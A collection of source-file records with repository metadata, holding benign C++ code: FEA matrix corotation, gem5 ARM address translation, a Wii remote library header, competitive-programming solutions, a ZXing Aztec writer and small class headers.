9546b2c00eaefbe9eb57f4f14711214b2009dc3b
/ChronoEngine/src/unit_FEA/ChMatrixCorotation.h
1e7bfafd20e7c4dde3c33472a973e931f68db0c5
[ "BSD-3-Clause" ]
permissive
globus000/cew
671096366385805a8f4dbe2d2f8c185edb4163cb
13d2a3c007239c8caccab2c5198ef5e8147369e1
refs/heads/master
2016-09-05T09:18:55.011986
2015-04-26T16:45:00
2015-04-26T16:45:00
34,566,328
0
0
null
null
null
null
UTF-8
C++
false
false
6,449
h
// // PROJECT CHRONO - http://projectchrono.org // // Copyright (c) 2013 Project Chrono // All rights reserved. // // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file at the top level of the distribution // and at http://projectchrono.org/license-chrono.txt. // // // File author: Alessandro Tasora #ifndef CHMATRIXCOROTATION_H #define CHMATRIXCOROTATION_H #include "ChApiFEA.h" #include "core/ChMatrix.h" #include "core/ChMatrix33.h" namespace chrono { namespace fea { /// Perform a corotation (warping) of a K matrix by pre- or post- multiplying /// it with a C matrix that has 3x3 rotation matrices R as diagonal blocks, /// so that C*K means: /// [R ] [ ] /// [ R ] *[ K ] /// [ R] [ ] /// /// This is often used in FEA codes to rotate a K local stiffness matrix /// and to obtain a global stiffness matrix. /// This class provides methods to do either C*K or also C*K*C' , without /// explicitly building C, for improved performance. template<class Real = double> class ChMatrixCorotation { public: /// Perform a corotation (warping) of a K matrix by pre-multiplying /// it with a C matrix; C has 3x3 rotation matrices R as diagonal blocks static void ComputeCK(const ChMatrix<Real>& K, /// matrix to pre-corotate const ChMatrix33<Real>& R, /// 3x3 rotation matrix const int nblocks, /// number of rotation blocks ChMatrix<Real>& CK); /// result matrix: C*K /// Perform a corotation (warping) of a K matrix by post-multiplying /// it with a transposed C matrix; C has 3x3 rotation matrices R as diagonal blocks static void ComputeKCt(const ChMatrix<Real>& K, /// matrix to post-corotate const ChMatrix33<Real>& R, /// 3x3 rotation matrix (will be used transposed) const int nblocks, /// number of rotation blocks ChMatrix<Real>& KC); /// result matrix: C*K /// Perform a corotation (warping) of a K matrix by pre-multiplying /// it with a C matrix; C has 3x3 rotation matrices R as diagonal blocks /// (generic version with different rotations) static void ComputeCK(const ChMatrix<Real>& K, /// matrix to pre-corotate const std::vector< ChMatrix33<Real>* >& R, /// 3x3 rotation matrices const int nblocks, /// number of rotation blocks ChMatrix<Real>& CK); /// result matrix: C*K /// Perform a corotation (warping) of a K matrix by post-multiplying /// it with a transposed C matrix; C has 3x3 rotation matrices R as diagonal blocks /// (generic version with different rotations) static void ComputeKCt(const ChMatrix<Real>& K, /// matrix to post-corotate const std::vector< ChMatrix33<Real>* >& R, /// 3x3 rotation matrices (used transposed) const int nblocks, /// number of rotation blocks ChMatrix<Real>& KC); /// result matrix: C*K }; /// Perform a corotation (warping) of a K matrix by pre-multiplying /// it with a C matrix; C has 3x3 rotation matrices R as diagonal blocks template <class Real> void ChMatrixCorotation<Real>::ComputeCK(const ChMatrix<Real>& K, /// matrix to corotate const ChMatrix33<Real>& R, /// 3x3 rotation matrix const int nblocks, /// number of rotation blocks ChMatrix<Real>& CK) /// result matrix: C*K { for (int iblock=0; iblock < nblocks; iblock++) { Real sum; for (int colres=0; colres < K.GetColumns(); ++colres) for (int row=0; row < 3; ++row) { sum = 0; for (int col=0; col < 3; ++col) sum += R(row,col)* K((3*iblock)+col,colres); CK((3*iblock)+row, colres) = sum; } } } /// Perform a corotation (warping) of a K matrix by post-multiplying /// it with a transposed C matrix; C has 3x3 rotation matrices R as diagonal blocks template <class Real> void ChMatrixCorotation<Real>::ComputeKCt(const ChMatrix<Real>& K, /// matrix to corotate const ChMatrix33<Real>& R, /// 3x3 rotation matrix (will be used transposed) const int nblocks, /// number of rotation blocks ChMatrix<Real>& KC) /// result matrix: C*K { for (int iblock=0; iblock < nblocks; iblock++) { Real sum; for (int rowres=0; rowres < K.GetRows(); ++rowres) for (int row=0; row < 3; ++row) { sum = 0; for (int col=0; col < 3; ++col) sum += K(rowres,col+(3*iblock)) * R(row, col); KC(rowres, row+(3*iblock))= sum; } } } /// generic version template <class Real> void ChMatrixCorotation<Real>::ComputeCK(const ChMatrix<Real>& K, /// matrix to corotate const std::vector< ChMatrix33<Real>* >& R, /// 3x3 rotation matrices const int nblocks, /// number of rotation blocks ChMatrix<Real>& CK) /// result matrix: C*K { for (int iblock=0; iblock < nblocks; iblock++) { const ChMatrix33<>* mR = R[iblock]; Real sum; for (int colres=0; colres < K.GetColumns(); ++colres) for (int row=0; row < 3; ++row) { sum = 0; for (int col=0; col < 3; ++col) sum += mR->GetElement(row,col)* K((3*iblock)+col,colres); CK((3*iblock)+row, colres) = sum; } } } /// generic version template <class Real> void ChMatrixCorotation<Real>::ComputeKCt(const ChMatrix<Real>& K, /// matrix to corotate const std::vector< ChMatrix33<Real>* >& R, /// 3x3 rotation matrices (used transposed) const int nblocks, /// number of rotation blocks ChMatrix<Real>& KC) /// result matrix: C*K { for (int iblock=0; iblock < nblocks; iblock++) { const ChMatrix33<>* mR = R[iblock]; Real sum; for (int rowres=0; rowres < K.GetRows(); ++rowres) for (int row=0; row < 3; ++row) { sum = 0; for (int col=0; col < 3; ++col) sum += K(rowres,col+(3*iblock)) * mR->GetElement(row, col); KC(rowres, row+(3*iblock))= sum; } } } } // END_OF_NAMESPACE____ } // END_OF_NAMESPACE____ #endif
[ "zr_contact@mail.ru" ]
zr_contact@mail.ru
1028acdfee958e0f765fe2a2e8120f3bc1b36832
149489e12a2f209e33a82684518785540b3508b8
/src/arch/arm/vtophys.cc
8728678193de9f0d86336d7c953d3766c324f7f1
[ "BSD-3-Clause", "LicenseRef-scancode-proprietary-license", "LGPL-2.0-or-later", "MIT" ]
permissive
FPSG-UIUC/SPT
8dac03b54e42df285d774bfc2c08be3123ea0dbb
34ec7b2911078e36284fa0d35ae1b5551b48ba1b
refs/heads/master
2023-04-15T07:11:36.092504
2022-05-28T21:34:30
2022-05-28T21:34:30
405,761,413
4
1
BSD-3-Clause
2023-04-11T11:44:49
2021-09-12T21:54:08
C++
UTF-8
C++
false
false
4,302
cc
/* * Copyright (c) 2010, 2012-2013 ARM Limited * All rights reserved * * The license below extends only to copyright in the software and shall * not be construed as granting a license to any other intellectual * property including but not limited to intellectual property relating * to a hardware implementation of the functionality of the software * licensed hereunder. You may use the software subject to the license * terms below provided that you ensure that this notice is replicated * unmodified and in its entirety in all distributions of the software, * modified or unmodified, in source code or in binary form. * * Copyright (c) 2002-2005 The Regents of The University of Michigan * Copyright (c) 2007-2008 The Florida State University * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer; * redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution; * neither the name of the copyright holders nor the names of its * contributors may be used to endorse or promote products derived from * this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * * Authors: Ali Saidi * Nathan Binkert * Stephen Hines */ #include "arch/arm/vtophys.hh" #include <string> #include "arch/arm/faults.hh" #include "arch/arm/table_walker.hh" #include "arch/arm/tlb.hh" #include "base/chunk_generator.hh" #include "base/trace.hh" #include "cpu/thread_context.hh" #include "mem/fs_translating_port_proxy.hh" using namespace std; using namespace ArmISA; Addr ArmISA::vtophys(Addr vaddr) { fatal("VTOPHYS: Can't convert vaddr to paddr on ARM without a thread context"); } static std::pair<bool, Addr> try_translate(ThreadContext *tc, Addr addr) { Fault fault; // Set up a functional memory Request to pass to the TLB // to get it to translate the vaddr to a paddr Request req(0, addr, 64, 0x40, -1, 0, 0); ArmISA::TLB *tlb; // Check the TLBs for a translation // It's possible that there is a valid translation in the tlb // that is no loger valid in the page table in memory // so we need to check here first // // Calling translateFunctional invokes a table-walk if required // so we should always succeed tlb = static_cast<ArmISA::TLB*>(tc->getDTBPtr()); fault = tlb->translateFunctional(&req, tc, BaseTLB::Read, TLB::NormalTran); if (fault == NoFault) return std::make_pair(true, req.getPaddr()); tlb = static_cast<ArmISA::TLB*>(tc->getITBPtr()); fault = tlb->translateFunctional(&req, tc, BaseTLB::Read, TLB::NormalTran); if (fault == NoFault) return std::make_pair(true, req.getPaddr()); return std::make_pair(false, 0); } Addr ArmISA::vtophys(ThreadContext *tc, Addr addr) { const std::pair<bool, Addr> translation(try_translate(tc, addr)); if (translation.first) return translation.second; else panic("Table walkers support functional accesses. We should never get here\n"); } bool ArmISA::virtvalid(ThreadContext *tc, Addr vaddr) { const std::pair<bool, Addr> translation(try_translate(tc, vaddr)); return translation.first; }
[ "rutvikc2@midgar.cs.illinois.edu" ]
rutvikc2@midgar.cs.illinois.edu
75bd260cace7dcef824c2aa88325ae5a7cd19157
feae100972a9b801150fef94d9570b74ee917360
/tp1/Paddle.h
983f9f7b66ca8745d3dda1fdfef1a6ce7c48e93a
[]
no_license
ivan94/UFMG-161-CG
44accd22b72edc9c830eb028df6bae3485691e79
c49b98464140fbfc99ad74d18a1ba76775f18618
refs/heads/master
2016-09-13T16:12:19.450639
2016-05-10T02:07:57
2016-05-10T02:07:57
58,139,258
0
1
null
2016-05-08T20:27:20
2016-05-05T15:03:02
C++
UTF-8
C++
false
false
560
h
#pragma once #include "Color.h" class Paddle { private: const int originalWidth; int xPos, yPos, xSpeed; int height, width; int minXLimit, maxXLimit; int maxSpeed; int sizeFrameCount; Color color; public: Paddle(int x, int y, int w, int h, int minX, int maxX, Color c); int getXPos(); int getYPos(); int getSpeed(); void setXPos(int pos); void setYPos(int pos); void setSpeed(int speed); int getMaxSpeed(); int getHeight(); int getWidth(); void changeSize(int newWidth, int frameCounts); void printState(); void update(); void draw(); };
[ "leonomanf@gmail.com" ]
leonomanf@gmail.com
6d903274aae629ae95cc320e88d17cba1fee5b52
7ee1d46e0113cb79a7187678a09a799be74efb98
/a.cpp
715a12ba8375fc986cd6e2060d526850eb10a026
[]
no_license
aayush1010/Codes
bc7646bded879d8dc23e9bd132491be4f17c85b8
32d87f01f1ae071f171283d623e2780fb9cef910
refs/heads/master
2021-01-22T10:15:07.090072
2019-01-25T11:50:47
2019-01-25T11:50:47
102,337,184
0
0
null
null
null
null
UTF-8
C++
false
false
104
cpp
#include<iostream> using namespace std; int main(){ cout << "aayush"; return 0; }
[ "noreply@github.com" ]
aayush1010.noreply@github.com
6711ea269e738d1cf283ff786fa067ca478e5184
f7d64591d61f05d9e4f1567761e7dabe8b452d04
/codes/Graph/virtual_tree.cpp
92c8ea5c1d42df5848155d18b0311d550327e16a
[]
no_license
kouke0638/kiseki_ICPC_codebook
ec5c38f4a3c8964dc9edb8fe86279b1784b73833
cfe59ac5c10bf5670e71a0bcfe64447f5edf087c
refs/heads/master
2023-07-02T10:59:17.679902
2021-07-31T18:23:49
2021-07-31T18:23:49
null
0
0
null
null
null
null
UTF-8
C++
false
false
674
cpp
inline bool cmp(const int &i, const int &j) { return dfn[i] < dfn[j]; } void build(int vectrices[], int k) { static int stk[MAX_N]; sort(vectrices, vectrices + k, cmp); stk[sz++] = 0; for (int i = 0; i < k; ++i) { int u = vectrices[i], lca = LCA(u, stk[sz - 1]); if (lca == stk[sz - 1]) stk[sz++] = u; else { while (sz >= 2 && dep[stk[sz - 2]] >= dep[lca]) { addEdge(stk[sz - 2], stk[sz - 1]); sz--; } if (stk[sz - 1] != lca) { addEdge(lca, stk[--sz]); stk[sz++] = lca, vectrices[cnt++] = lca; } stk[sz++] = u; } } for (int i = 0; i < sz - 1; ++i) addEdge(stk[i], stk[i + 1]); }
[ "ty1208chiang@gmail.com" ]
ty1208chiang@gmail.com
20869e293c33de8fe87a41bc77ce2a33eb380fbb
2ba5ada2efe9f0611ca8d75437b02a41765a1a45
/flatlib/flWiiLib.h
1b23c483cada3cbea5b18c0e445bae092de9b2f9
[]
no_license
hiroog/WBHealthMeter
6afdc2c4d78dda7a4b008a765bc1bc5e2472af88
3140a70c307e02fca45f1de2e341838f012241a8
refs/heads/master
2020-12-24T10:31:29.574158
2016-11-08T03:55:49
2016-11-08T03:55:49
73,147,007
2
0
null
null
null
null
SHIFT_JIS
C++
false
false
9,610
h
// 2007 Hiroyuki Ogasawara // vim:ts=4 sw=4: #ifndef FL_FLWIILIB_H_ #define FL_FLWIILIB_H_ //----------------------------------------------------------------------------- //----------------------------------------------------------------------------- /*! @brief Wii コントローラの詳細情報を参照します。 */ class flWiiLibDevice { public: enum { EXTENSIONTYPE_NONE = 0xffff, EXTENSIONTYPE_NUNCHUK = 0x0000, EXTENSIONTYPE_CLASSIC = 0x0101, EXTENSIONTYPE_BALANCE = 0x0402, EXTENSIONTYPE_GUITAR = 0x0103, }; enum { BT_T2 = (1<<0), BT_T1 = (1<<1), BT_TB = (1<<2), BT_TA = (1<<3), BT_MINUS = (1<<4), // select BT_HOME = (1<<7), BT_LEFT = (1<<8), BT_RIGHT = (1<<9), BT_DOWN = (1<<10), BT_UP = (1<<11), BT_PLUS = (1<<12), // start //-- NBT_TZ = (1<<0), NBT_TC = (1<<1), //-- CBT_UP = (1<<0), CBT_LEFT = (1<<1), CBT_TZR = (1<<2), CBT_TX = (1<<3), CBT_TA = (1<<4), CBT_TY = (1<<5), CBT_TB = (1<<6), CBT_TZL = (1<<7), CBT_TR = (1<<9), CBT_PLUS = (1<<10), // start CBT_HOME = (1<<11), CBT_MINUS = (1<<12), // select CBT_TL = (1<<13), CBT_DOWN = (1<<14), CBT_RIGHT = (1<<15), }; protected: flWiiLibDevice() { } public: virtual ~flWiiLibDevice() { } virtual void Quit()= 0; virtual void StopReport()= 0; virtual int _EqName( const char* name ) const= 0; virtual int Open( const char* path, int id )= 0; virtual void Start()= 0; virtual int TestAPIFlag( int f ) const= 0; virtual void SetAPIFlag( int f )= 0; virtual void ResetAPIFlag( int f )= 0; virtual void CancelIO()= 0; virtual int APIChecker()= 0; public: /*! @retval FALSE 無効 @retval FALSE以外 有効 @brief デバイス情報が有効かどうか判定します。 */ virtual int IsValid() const= 0; //------------------------------------------------------------------------- /*! @brief コントローラの番号を参照します。 このコントローラ番号は LED にも反映されます。 */ virtual int GetID() const= 0; //------------------------------------------------------------------------- /*! @param[in] command 送信コマンド列 @param[in] len コマンドの byte 数 @brief デバイスへ直接コマンドを送信します。 コマンドは byte 単位で指定します。 */ virtual void SendCommand( const char* command, unsigned int len )= 0; //------------------------------------------------------------------------- virtual int ReadMemory( unsigned int address, char* buffer, unsigned int size )= 0; virtual unsigned int GetReadType() const= 0; virtual void ReadExtension( unsigned char* buf ) const= 0; virtual void DecodePacket()= 0; //------------------------------------------------------------------------- /*! @retval extension type を返します。 @brief 拡張アダプタポートに接続されているオプションの種類を判定します。 @li EXTENSIONTYPE_NONE 未接続です @li EXTENSIONTYPE_NUNCHUK ヌンチャク @li EXTENSIONTYPE_CLASSIC クラシックコントローラ @li EXTENSIONTYPE_BALANCE バランスWiiボード @li EXTENSIONTYPE_GUITAR ギター */ virtual unsigned int GetExtensionType() const= 0; /*! @retval バッテリー容量 0〜200 @brief バッテリーの容量を返します。 0〜200 が 0%〜100% に相当します。 */ virtual unsigned int GetBatteryLevel() const= 0; //------------------------------------------------------------------------- /*! @retval button @brief ボタン情報を返します。 bit pattern で返します。下記のシンボルが定義されています。 押されているとき各 bit が 1 になります。 @li BT_LEFT @li BT_RIGHT @li BT_UP @li BT_DOWN @li BT_TA @li BT_TB @li BT_T1 @li BT_T2 @li BT_PLUS @li BT_MINUS @li BT_HOME */ virtual unsigned int GetButton() const= 0; /*! @param[in] id 0〜2 @brief 加速センサーのデータを返します。 値は 1G が 1.0 になるよう正規化されます。 @li id=0 X軸 @li id=1 Y軸 @li id=2 Z軸 */ virtual float GetAccel( int id ) const= 0; /*! @param[in] id 0〜7 @brief 赤外線センサーのポインティング情報を返します。 4点分の情報を下記番号でアクセスします。 @li id=0 X0 @li id=1 Y0 @li id=2 X1 @li id=3 Y1 @li id=4 X2 @li id=5 Y2 @li id=6 X3 @li id=7 Y3 */ virtual unsigned int GetIR( int id ) const= 0; //------------------------------------------------------------------------- /*! @brief ヌンチャクコントローラのボタン情報を返します。 押されているとき各 bit が 1 になります。 @li NBT_TC @li NBT_TZ */ virtual unsigned int GetNunchukButton() const= 0; /*! @param[in] id 0〜1 @brief ヌンチャクコントローラのアナログスティック情報を返します。 値は -1.0〜1.0 に正規化されます。 @li id=0 X軸 @li id=1 Y軸 */ virtual float GetNunchukAnalog( int id ) const= 0; /*! @param[in] id 0〜2 @brief ヌンチャクの加速センサーのデータを返します。 @li id=0 X軸 @li id=1 Y軸 @li id=2 Z軸 */ virtual float GetNunchukAccel( int id ) const= 0; //------------------------------------------------------------------------- /*! @retval button @brief クラシックコントローラのボタン情報を返します。 bit pattern で返します。下記のシンボルが定義されています。 押されているとき各 bit が 1 になります。 @li CBT_LEFT @li CBT_RIGHT @li CBT_UP @li CBT_DOWN @li CBT_TA @li CBT_TB @li CBT_TX @li CBT_TY @li CBT_TZL @li CBT_TZR @li CBT_TL @li CBT_TR @li CBT_PLUS // start @li CBT_MINUS // select @li CBT_HOME */ virtual unsigned int GetClassicButton() const= 0; /*! @param[in] id 0〜5 @brief クラシックコントローラのアナログ情報を取得します。 @li id=0 左 X軸 @li id=1 左 Y軸 @li id=2 右 X軸 @li id=3 右 Y軸 @li id=4 左トリガ @li id=5 右トリガ */ virtual float GetClassicAnalog( int id ) const= 0; //------------------------------------------------------------------------- /*! @param[in] id 0〜3 @brief バランスボードの測定値を得ます。 値は 4点それぞれにかかっている重さの 1/4 の値 kg 単位です。 平均を取ることで全体にかかる重量になります。 ただし値を正確にするためにはキャリブレーションが必要です。 @li id=0 右上 @li id=1 左上 @li id=2 右下 @li id=3 左下 */ virtual float GetBalancePressure( int id ) const= 0; /*! @param[in] mode TRUE or FALSE @brief バランスボードのキャリブレーションを制御します。 TRUE を指定している間キャリブレーションを行います。 この間はバランスボードに何も乗せないでください。 終了時は FALSE を指定します。 */ virtual void CalibrationBalance( int mode )= 0; /*! @brief 測定した重量を返します。 4点の平均値となります。kg 単位。 */ virtual float GetWeight() const= 0; /*! @param[in] id 0〜1 @brief 重量差分を返します。 左右、前後のバランスに相当します。 */ virtual float GetWeightBalance( int id ) const= 0; //------------------------------------------------------------------------- }; //----------------------------------------------------------------------------- //----------------------------------------------------------------------------- /*! @brief コントローラの情報を管理します。 */ class flWiiLib { protected: flWiiLib() { } virtual ~flWiiLib() { } public: // virtual void DumpAll()= 0; //------------------------------------------------------------------------- /*! @brief サービスを停止します デバイスもすべて開放されるため、この命令発行後は アクセスしないでください。 */ virtual void Release()= 0; /*! @brief 接続されているデバイスの個数を参照します。 */ virtual int GetDeviceCount() const = 0; /*! @brief 個別のデバイスへアクセスします。 */ virtual flWiiLibDevice* GetDevice( unsigned int id )= 0; /*! @param[in] vid VendorID @param[in] pid ProductID @brief サービスの開始を行います。 指定した ID からデバイスを取り出し管理下に置きます。 Wii Remote (Wiimote, Wiiリモコン) を使う場合は。 vid == 0x057e, pid == 0x0306 を指定してください。 */ virtual void BeginLoop( unsigned int vid= 0x057e, unsigned int pid= 0x0306 )= 0; //------------------------------------------------------------------------- virtual void Update()= 0; //------------------------------------------------------------------------- /*! @brief flWiiLib のインスタンスを作成します。 作成したデバイスのインスタンスを返します。 */ static flWiiLib* Create(); //------------------------------------------------------------------------- }; #endif
[ "hiroog@flatlib.jp" ]
hiroog@flatlib.jp
258f04f33d8730fc351bf14114ce1ff127dc827d
693ac1ea02dac0360259844946e6f1d20442e0a5
/Analyser/GeantAnalysis.cc
e65eee5c4765d78af14acc0ecea5e0146270c027
[]
no_license
SangMLee/GEM_Geant4_bkg
c8609a3a2761d19e761739f16b989754ecaa705f
4f39c42ce6c9ccc8cfa6f122836b98dda4e1b6a0
refs/heads/master
2020-03-27T15:19:36.847343
2018-08-10T11:21:53
2018-08-10T11:21:53
null
0
0
null
null
null
null
UTF-8
C++
false
false
1,286
cc
#define GeantAnalysis_cxx #include "GeantAnalysis.h" #include <iostream> using namespace std; void GeantAnalysis::Analysis() { Long64_t nEntries = fChain->GetEntries(); ResetBranch(); for(Long64_t i = 0; i < nEntries; i++) { ResetBranch(); fChain->GetEntry(i); hPrimaryEne->Fill(primaryEne); if(EleGap == 1) hEleGap->Fill(primaryEne); if(PosGap == 1) hPosGap->Fill(primaryEne); if(ChargeGap == 1) hChargeGap->Fill(primaryEne); for(UInt_t i = 0 ; i < gapTrackPart->size(); i++) { if((*gapTrackPart)[i] == 11) { hEleEne->Fill((*gapTrackEne)[i]); hElectronGenProcess->Fill(primaryEne, (*gapTrackGenProcessNum)[i]); } if((*gapTrackPart)[i] == -11) hPosEne->Fill((*gapTrackEne)[i]); if((*gapTrackCharge)[i] != 0) hChargeEne->Fill((*gapTrackEne)[i]); if((*gapTrackIntNum)[i] == 2) hNeutronProcess->Fill(primaryEne,(*gapTrackGenProcessNum)[i]); } } } int main(Int_t argc, Char_t** argv) { if(argc == 1) { cout << "Error : no arguments\n"; return 0; } else { string temp = argv[1]; GeantAnalysis analysis(temp); for(Int_t i = 2; i < argc; i++) { temp = argv[i]; analysis.SetFile(temp); analysis.Analysis(); } return 0; } }
[ "yck.kang@gmail.com" ]
yck.kang@gmail.com
da453ed8bcd0ed5884d108408fce769d860e6fd3
5ac691580c49d8cf494d5b98c342bb11f3ff6514
/AtCoder/abc209/abc209_d.cpp
cba492ba73faf6d096f574b798e0392e84b4876d
[]
no_license
sweatpotato13/Algorithm-Solving
e68411a4f430d0517df4ae63fc70d1a014d8b3ba
b2f8cbb914866d2055727b9872f65d7d270ba31b
refs/heads/master
2023-03-29T23:44:53.814519
2023-03-21T23:09:59
2023-03-21T23:09:59
253,355,531
3
0
null
null
null
null
UTF-8
C++
false
false
1,393
cpp
#pragma warning(disable : 4996) #include <bits/stdc++.h> #define all(x) (x).begin(), (x).end() using namespace std; typedef long long ll; typedef long double ld; typedef vector<ll> vll; typedef vector<vll> vvll; typedef vector<ld> vld; typedef vector<vld> vvld; typedef pair<ll, ll> pll; typedef pair<ld, ld> pld; typedef tuple<ll, ll, ll> tl3; #define FOR(a, b, c) for (int(a) = (b); (a) < (c); ++(a)) #define FORN(a, b, c) for (int(a) = (b); (a) <= (c); ++(a)) #define rep(i, n) FOR(i, 0, n) #define repn(i, n) FORN(i, 1, n) #define tc(t) while (t--) // https://atcoder.jp/contests/abc209/tasks/abc209_d int main() { ios_base::sync_with_stdio(0); cin.tie(0); ll n, q; cin >> n >> q; vll path[101010]; rep(i, n - 1) { ll a, b; cin >> a >> b; path[a-1].push_back(b-1); path[b-1].push_back(a-1); } queue<ll> que; vll dis(n, -1); que.push(0); dis[0] = 0; while (!que.empty()) { ll now = que.front(); que.pop(); for (auto next : path[now]) { if (dis[next] == -1) { dis[next] = dis[now] + 1; que.push(next); } } } rep(i, q) { ll c, d; cin >> c >> d; if (dis[c-1] % 2 == dis[d-1] % 2) cout << "Town" << endl; if (dis[c-1] % 2 != dis[d-1] % 2) cout << "Road" << endl; } return 0; }
[ "sweatpotato13@gmail.com" ]
sweatpotato13@gmail.com
8287d4c9f438bbfe68da4b3b397cf1854ff2935a
d0d22036175f861a4361e93e8f2e1e3a8064cbe0
/individuo.h
e849a49ee5e690307b1c6215e421f9bd5d1bf71b
[]
no_license
JAAM4494/Proyecto-R-Dannel-Olivaw
14f68902b26834cce8a4ac2a46d9647e6caae9b8
8a8c6da8d7d069b60f6ce4755d0bc2cee1f6fcf0
refs/heads/master
2021-01-16T21:28:52.600460
2014-04-24T19:55:24
2014-04-24T19:55:24
18,583,982
0
0
null
null
null
null
UTF-8
C++
false
false
934
h
#ifndef INDIVIDUO_H #define INDIVIDUO_H #include <cstdlib> #include <stdio.h> class Individuo { public: Individuo(int pId,unsigned short pCromosoma); Individuo(); unsigned short getCromosoma(); int getId(); double getFitness(); void setFitness(double pFitness); void setId(int id); void setSiguiente(Individuo *siguiente); Individuo * getSiguiente(); void setCromosoma(unsigned short pCromosoma); int getPadre(); int getMadre(); void setPadre(int pPadre); void setMadre(int pMadre); void imprimir(); int getGeneracion(); void setGeneracion(int pGeneracion); protected: unsigned short _cromosoma; // cromosoma, un cromosoma esta formado por 32 genes int _id; // Identificador del individuo double _valorFitness; // valor de su funcion de fitness Individuo * _siguiente; int _padre; int _madre; int _generacion; }; #endif // INDIVIDUO_H
[ "dacoch215@gmail.com" ]
dacoch215@gmail.com
9bd018bd175a714a1cba4899e8a7736473ab8b10
9f363e01f2c8f02d7409753669c757d1532b44a3
/rush00/inc/Enemy.hpp
edb618331e4bc384e2454684d07d1bdc8a421525
[]
no_license
LastSymbol0/cpp_piscine
18d546b76b5003c878343996843ac7ab126c320d
c32fac08e101e565367ff536f30036a412b76a51
refs/heads/master
2020-08-15T03:11:38.333888
2019-10-15T10:32:07
2019-10-15T10:32:07
215,271,451
1
0
null
null
null
null
UTF-8
C++
false
false
418
hpp
#ifndef ENEMY_HPP # define ENEMY_HPP # include "ACharacter.hpp" # include "Gun.hpp" # include "ft_retro.hpp" class Enemy : public ACharacter { private: int _cyclesToMove; int _cyclesToShoot; public: Enemy(); Enemy(int x, int y); Enemy(const Enemy& a); ~Enemy(); Enemy& operator=(Enemy& a); IGameEntity* clone() const; void move(); AAmunition *shoot(void); int getDamage() const ; }; #endif
[ "LastSymbol0@gmail.com" ]
LastSymbol0@gmail.com
f54cd780043782ade07564a6a58083825e298844
c436fc304da315ed7cfa4129faaba14d165a246e
/foundation/src/zxing/core/src/aztec/AZWriter.cpp
0ba9a9ab6bd29c9c482c3b56abc5bb6810d9491d
[]
no_license
wjbwstone/wstone
dae656ffff30616d85293bcc356ab7ab7cebd5ba
25da4de6900e6cc34a96a3882f1307b7a9bbf8b0
refs/heads/main
2023-02-17T16:44:50.679974
2021-01-20T05:53:24
2021-01-20T05:53:24
330,961,566
0
0
null
null
null
null
UTF-8
C++
false
false
1,330
cpp
/* * Copyright 2016 Huy Cuong Nguyen * Copyright 2016 ZXing authors * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "aztec/AZWriter.h" #include "aztec/AZEncoder.h" #include "CharacterSet.h" #include "TextEncoder.h" #include <algorithm> namespace ZXing { namespace Aztec { Writer::Writer() : _encoding(CharacterSet::ISO8859_1), _eccPercent(Encoder::DEFAULT_EC_PERCENT), _layers(Encoder::DEFAULT_AZTEC_LAYERS) { } BitMatrix Writer::encode(const std::wstring& contents, int width, int height) const { std::string bytes = TextEncoder::FromUnicode(contents, _encoding); EncodeResult aztec = Encoder::Encode(bytes, _eccPercent, _layers); // Minimum required quite zone for Aztec is 0 return Inflate(std::move(aztec.matrix), width, height, 0); } } // Aztec } // ZXing
[ "junbo.wen@enmotech.com" ]
junbo.wen@enmotech.com
f0eb928881859660f2ebfa69ad75494b18717789
2e5ebe209fa0c18f1d5b5b43a70dd2f051015bff
/src/Renderer3D/Manipulator/Manipulater.cpp
e38c72de0504fde3fa432b83eb48536f95c063d0
[]
no_license
rishank1996/Opengl-3D-Level-Editor
a2c7b7f3472215eafe49398b74a5cc34368d3092
86821614687c1da6f4948c777536a21b843090c8
refs/heads/master
2022-03-08T09:30:50.497362
2019-11-22T16:31:21
2019-11-22T16:31:21
null
0
0
null
null
null
null
UTF-8
C++
false
false
112
cpp
#include "Manipulator/Manipulater.h" MovableAxis Manipulater::state = NO_AXIS; Manipulater::~Manipulater() { }
[ "mohamed.shaalan@symbyo.com" ]
mohamed.shaalan@symbyo.com
c4028db360071d791ae68f7d8be1fca9a778b399
c8b39acfd4a857dc15ed3375e0d93e75fa3f1f64
/Engine/Source/ThirdParty/IntelTBB/IntelTBB-4.0/src/tbb/tbb_main.h
8cc034bf5c1d341e2996e8ef28724f0b01dc4f2f
[ "MIT", "LicenseRef-scancode-proprietary-license" ]
permissive
windystrife/UnrealEngine_NVIDIAGameWorks
c3c7863083653caf1bc67d3ef104fb4b9f302e2a
b50e6338a7c5b26374d66306ebc7807541ff815e
refs/heads/4.18-GameWorks
2023-03-11T02:50:08.471040
2022-01-13T20:50:29
2022-01-13T20:50:29
124,100,479
262
179
MIT
2022-12-16T05:36:38
2018-03-06T15:44:09
C++
UTF-8
C++
false
false
3,685
h
